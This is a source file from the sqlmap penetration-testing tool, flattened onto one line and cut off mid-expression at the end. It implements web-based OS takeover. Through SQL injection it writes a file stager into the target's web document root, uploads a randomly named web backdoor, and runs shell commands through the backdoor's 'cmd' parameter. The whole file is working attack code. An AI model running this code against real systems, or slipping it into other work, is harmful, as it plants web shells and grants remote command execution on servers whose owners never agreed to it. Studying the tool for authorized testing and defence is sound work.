#!/usr/bin/env python """ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import codecs import os import posixpath import re from tempfile import mkstemp from extra.cloak.cloak import decloak from lib.core.agent import agent from lib.core.common import arrayizeValue, Backend, decloakToNamedStream, extractRegexResult, getDirs, getDocRoot, \ getPublicTypeMembers, getSQLSnippet, getUnicode, ntToPosixSlashes, isTechniqueAvailable, isWindowsDriveLetterPath,\ normalizePath, posixToNtSlashes, randomInt, randomStr, readInput, singleTimeWarnMessage from lib.core.convert import hexencode, utf8encode from lib.core.data import conf, kb, logger, paths from lib.core.enums import DBMS, OS, PAYLOAD, WEB_API from lib.core.settings import EVENTVALIDATION_REGEX, VIEWSTATE_REGEX from lib.request.connect import Connect as Request class Web(object): """ This class defines web-oriented OS takeover functionality for plugins. """ def __init__(self): self.webApi = None self.webBaseUrl = None self.webBackdoorUrl = None self.webBackdoorFilePath = None self.webStagerUrl = None self.webStagerFilePath = None self.webDirectory = None def webBackdoorRunCmd(self, cmd): if self.webBackdoorUrl is None: return output = None if not cmd: cmd = conf.osCmd cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd) page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True) if page is not None: output = re.search("
(.+?)", page, re.I | re.S) if output: output = output.group(1) return output def webFileUpload(self, fileToUpload, destFileName, directory): inputFP = codecs.open(fileToUpload, "rb") retVal = self.__webFileStreamUpload(inputFP, destFileName, directory) inputFP.close() return retVal def __webFileStreamUpload(self, stream, destFileName, directory): stream.seek(0) # Rewind if self.webApi in getPublicTypeMembers(WEB_API, True): multipartParams = { "upload": "1", "file": stream, "uploadDir": directory, } if self.webApi == WEB_API.ASPX: multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) if "File uploaded" not in page: warnMsg = "unable to upload the backdoor through " warnMsg += "the file stager on '%s'" % directory logger.warn(warnMsg) return False else: return True def __webFileInject(self, fileContent, fileName, directory): outFile = posixpath.normpath("%s/%s" % (directory, fileName)) uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" if isTechniqueAvailable(kb.technique): where = kb.injection.data[kb.technique].where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery)) query = agent.prefixQuery(query) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) page = Request.queryPage(payload) return page def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() infoMsg = "trying to upload the file stager" logger.info(infoMsg) default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: if Backend.isOs(OS.WINDOWS): default = WEB_API.ASP else: default = WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break kb.docRoot = getDocRoot() directories = sorted(getDirs()) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName) originalBackdoorContent = backdoorContent = backdoorStream.read() stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) success = False for docRoot in arrayizeValue(kb.docRoot): if success: break for directory in directories: uriPath = "" if not all(isinstance(_, basestring) for _ in (docRoot, directory)): continue directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/') docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/') # '' or '/' -> 'docRoot' if not directory: localPath = docRoot uriPath = '/' # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3' elif not isWindowsDriveLetterPath(directory) and directory[0] != '/': localPath = "%s/%s" % (docRoot, directory) uriPath = "/%s" % directory else: localPath = directory uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot if docRoot in uriPath: uriPath = uriPath.replace(docRoot, "/") uriPath = "/%s" % normalizePath(uriPath) else: webDir = extractRegexResult(r"//[^/]+?/(?P